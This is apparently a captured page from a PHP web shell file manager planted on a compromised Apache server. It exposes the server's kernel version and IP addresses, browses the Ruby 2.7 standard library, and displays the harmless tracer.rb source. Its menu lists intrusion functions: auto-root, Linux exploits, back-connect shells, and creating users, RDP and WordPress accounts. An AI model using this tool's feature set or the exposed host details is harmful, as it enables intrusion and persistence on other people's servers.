Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.149.27.125
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
2.7.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
benchmark
[ DIR ]
drwxr-xr-x
bigdecimal
[ DIR ]
drwxr-xr-x
bundler
[ DIR ]
drwxr-xr-x
cgi
[ DIR ]
drwxr-xr-x
csv
[ DIR ]
drwxr-xr-x
delegate
[ DIR ]
drwxr-xr-x
did_you_mean
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
forwardable
[ DIR ]
drwxr-xr-x
getoptlong
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
logger
[ DIR ]
drwxr-xr-x
matrix
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
observer
[ DIR ]
drwxr-xr-x
open3
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
ostruct
[ DIR ]
drwxr-xr-x
pstore
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
reline
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
singleton
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
timeout
[ DIR ]
drwxr-xr-x
tracer
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
6.11
KB
-rw-r--r--
abbrev.rb
3.45
KB
-rw-r--r--
base64.rb
3.3
KB
-rw-r--r--
benchmark.rb
18.02
KB
-rw-r--r--
bigdecimal.rb
24
B
-rw-r--r--
bundler.rb
23.16
KB
-rw-r--r--
cgi.rb
9.8
KB
-rw-r--r--
coverage.rb
368
B
-rw-r--r--
csv.rb
54.34
KB
-rw-r--r--
date.rb
1.01
KB
-rw-r--r--
debug.rb
29.91
KB
-rw-r--r--
delegate.rb
10.86
KB
-rw-r--r--
did_you_mean.rb
3.72
KB
-rw-r--r--
digest.rb
2.83
KB
-rw-r--r--
drb.rb
50
B
-rw-r--r--
erb.rb
28.81
KB
-rw-r--r--
expect.rb
2.17
KB
-rw-r--r--
fiddle.rb
1.68
KB
-rw-r--r--
fileutils.rb
48.01
KB
-rw-r--r--
find.rb
2.47
KB
-rw-r--r--
forwardable.rb
8.92
KB
-rw-r--r--
getoptlong.rb
15.42
KB
-rw-r--r--
ipaddr.rb
19.52
KB
-rw-r--r--
irb.rb
25.21
KB
-rw-r--r--
json.rb
1.77
KB
-rw-r--r--
kconv.rb
5.72
KB
-rw-r--r--
logger.rb
16.4
KB
-rw-r--r--
matrix.rb
60.26
KB
-rw-r--r--
mkmf.rb
86.23
KB
-rw-r--r--
monitor.rb
6.76
KB
-rw-r--r--
mutex_m.rb
2.16
KB
-rw-r--r--
observer.rb
5.83
KB
-rw-r--r--
open-uri.rb
25.48
KB
-rw-r--r--
open3.rb
21.81
KB
-rw-r--r--
openssl.rb
469
B
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
59.49
KB
-rw-r--r--
ostruct.rb
10.53
KB
-rw-r--r--
pathname.rb
16.17
KB
-rw-r--r--
pp.rb
15.42
KB
-rw-r--r--
prettyprint.rb
15.89
KB
-rw-r--r--
prime.rb
12.37
KB
-rw-r--r--
pstore.rb
14.71
KB
-rw-r--r--
psych.rb
21.99
KB
-rw-r--r--
racc.rb
137
B
-rw-r--r--
rdoc.rb
4.88
KB
-rw-r--r--
readline.rb
113
B
-rw-r--r--
reline.rb
12.53
KB
-rw-r--r--
resolv-replace.rb
1.76
KB
-rw-r--r--
resolv.rb
73.5
KB
-rw-r--r--
ripper.rb
2.44
KB
-rw-r--r--
rss.rb
2.89
KB
-rw-r--r--
rubygems.rb
36.62
KB
-rw-r--r--
securerandom.rb
9.3
KB
-rw-r--r--
set.rb
23.92
KB
-rw-r--r--
shellwords.rb
6.66
KB
-rw-r--r--
singleton.rb
4.06
KB
-rw-r--r--
socket.rb
43.65
KB
-rw-r--r--
tempfile.rb
10.95
KB
-rw-r--r--
time.rb
24.01
KB
-rw-r--r--
timeout.rb
3.98
KB
-rw-r--r--
tmpdir.rb
4.11
KB
-rw-r--r--
tracer.rb
6.48
KB
-rw-r--r--
tsort.rb
14.3
KB
-rw-r--r--
un.rb
9.96
KB
-rw-r--r--
uri.rb
2.97
KB
-rw-r--r--
weakref.rb
1.44
KB
-rw-r--r--
webrick.rb
6.73
KB
-rw-r--r--
yaml.rb
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tracer.rb
# frozen_string_literal: false #-- # $Release Version: 0.3$ # $Revision: 1.12 $ ## # Outputs a source level execution trace of a Ruby program. # # It does this by registering an event handler with Kernel#set_trace_func for # processing incoming events. It also provides methods for filtering unwanted # trace output (see Tracer.add_filter, Tracer.on, and Tracer.off). # # == Example # # Consider the following Ruby script # # class A # def square(a) # return a*a # end # end # # a = A.new # a.square(5) # # Running the above script using <code>ruby -r tracer example.rb</code> will # output the following trace to STDOUT (Note you can also explicitly # <code>require 'tracer'</code>) # # #0:<internal:lib/rubygems/custom_require>:38:Kernel:<: - # #0:example.rb:3::-: class A # #0:example.rb:3::C: class A # #0:example.rb:4::-: def square(a) # #0:example.rb:7::E: end # #0:example.rb:9::-: a = A.new # #0:example.rb:10::-: a.square(5) # #0:example.rb:4:A:>: def square(a) # #0:example.rb:5:A:-: return a*a # #0:example.rb:6:A:<: end # | | | | | # | | | | ---------------------+ event # | | | ------------------------+ class # | | --------------------------+ line # | ------------------------------------+ filename # ---------------------------------------+ thread # # Symbol table used for displaying incoming events: # # +}+:: call a C-language routine # +{+:: return from a C-language routine # +>+:: call a Ruby method # +C+:: start a class or module definition # +E+:: finish a class or module definition # +-+:: execute code on a new line # +^+:: raise an exception # +<+:: return from a Ruby method # # == Copyright # # by Keiju ISHITSUKA(keiju@ishitsuka.com) # class Tracer class << self # display additional debug information (defaults to false) attr_accessor :verbose alias verbose? verbose # output stream used to output trace (defaults to STDOUT) attr_accessor :stdout # mutex lock used by tracer for displaying trace output attr_reader :stdout_mutex # display process id in trace output (defaults to false) attr_accessor :display_process_id alias display_process_id? display_process_id # display thread id in trace output (defaults to true) attr_accessor :display_thread_id alias display_thread_id? display_thread_id # display C-routine calls in trace output (defaults to false) attr_accessor :display_c_call alias display_c_call? display_c_call end Tracer::stdout = STDOUT Tracer::verbose = false Tracer::display_process_id = false Tracer::display_thread_id = true Tracer::display_c_call = false @stdout_mutex = Thread::Mutex.new # Symbol table used for displaying trace information EVENT_SYMBOL = { "line" => "-", "call" => ">", "return" => "<", "class" => "C", "end" => "E", "raise" => "^", "c-call" => "}", "c-return" => "{", "unknown" => "?" } def initialize # :nodoc: @threads = Hash.new if defined? Thread.main @threads[Thread.main.object_id] = 0 else @threads[Thread.current.object_id] = 0 end @get_line_procs = {} @filters = [] end def stdout # :nodoc: Tracer.stdout end def on # :nodoc: if block_given? on begin yield ensure off end else set_trace_func method(:trace_func).to_proc stdout.print "Trace on\n" if Tracer.verbose? end end def off # :nodoc: set_trace_func nil stdout.print "Trace off\n" if Tracer.verbose? end def add_filter(p = nil, &b) # :nodoc: p ||= b @filters.push p end def set_get_line_procs(file, p = nil, &b) # :nodoc: p ||= b @get_line_procs[file] = p end def get_line(file, line) # :nodoc: if p = @get_line_procs[file] return p.call(line) end unless list = SCRIPT_LINES__[file] list = File.readlines(file) rescue [] SCRIPT_LINES__[file] = list end if l = list[line - 1] l else "-\n" end end def get_thread_no # :nodoc: if no = @threads[Thread.current.object_id] no else @threads[Thread.current.object_id] = @threads.size end end def trace_func(event, file, line, id, binding, klass, *) # :nodoc: return if file == __FILE__ for p in @filters return unless p.call event, file, line, id, binding, klass end return unless Tracer::display_c_call? or event != "c-call" && event != "c-return" Tracer::stdout_mutex.synchronize do if EVENT_SYMBOL[event] stdout.printf("<%d>", $$) if Tracer::display_process_id? stdout.printf("#%d:", get_thread_no) if Tracer::display_thread_id? if line == 0 source = "?\n" else source = get_line(file, line) end stdout.printf("%s:%d:%s:%s: %s", file, line, klass || '', EVENT_SYMBOL[event], source) end end end # Reference to singleton instance of Tracer Single = new ## # Start tracing # # === Example # # Tracer.on # # code to trace here # Tracer.off # # You can also pass a block: # # Tracer.on { # # trace everything in this block # } def Tracer.on if block_given? Single.on{yield} else Single.on end end ## # Disable tracing def Tracer.off Single.off end ## # Register an event handler <code>p</code> which is called every time a line # in +file_name+ is executed. # # Example: # # Tracer.set_get_line_procs("example.rb", lambda { |line| # puts "line number executed is #{line}" # }) def Tracer.set_get_line_procs(file_name, p = nil, &b) p ||= b Single.set_get_line_procs(file_name, p) end ## # Used to filter unwanted trace output # # Example which only outputs lines of code executed within the Kernel class: # # Tracer.add_filter do |event, file, line, id, binding, klass, *rest| # "Kernel" == klass.to_s # end def Tracer.add_filter(p = nil, &b) p ||= b Single.add_filter(p) end end # :stopdoc: SCRIPT_LINES__ = {} unless defined? SCRIPT_LINES__ if $0 == __FILE__ # direct call $0 = ARGV[0] ARGV.shift Tracer.on require $0 else # call Tracer.on only if required by -r command-line option count = caller.count {|bt| %r%/rubygems/core_ext/kernel_require\.rb:% !~ bt} if (defined?(Gem) and count == 0) or (!defined?(Gem) and count <= 1) Tracer.on end end # :startdoc:
Close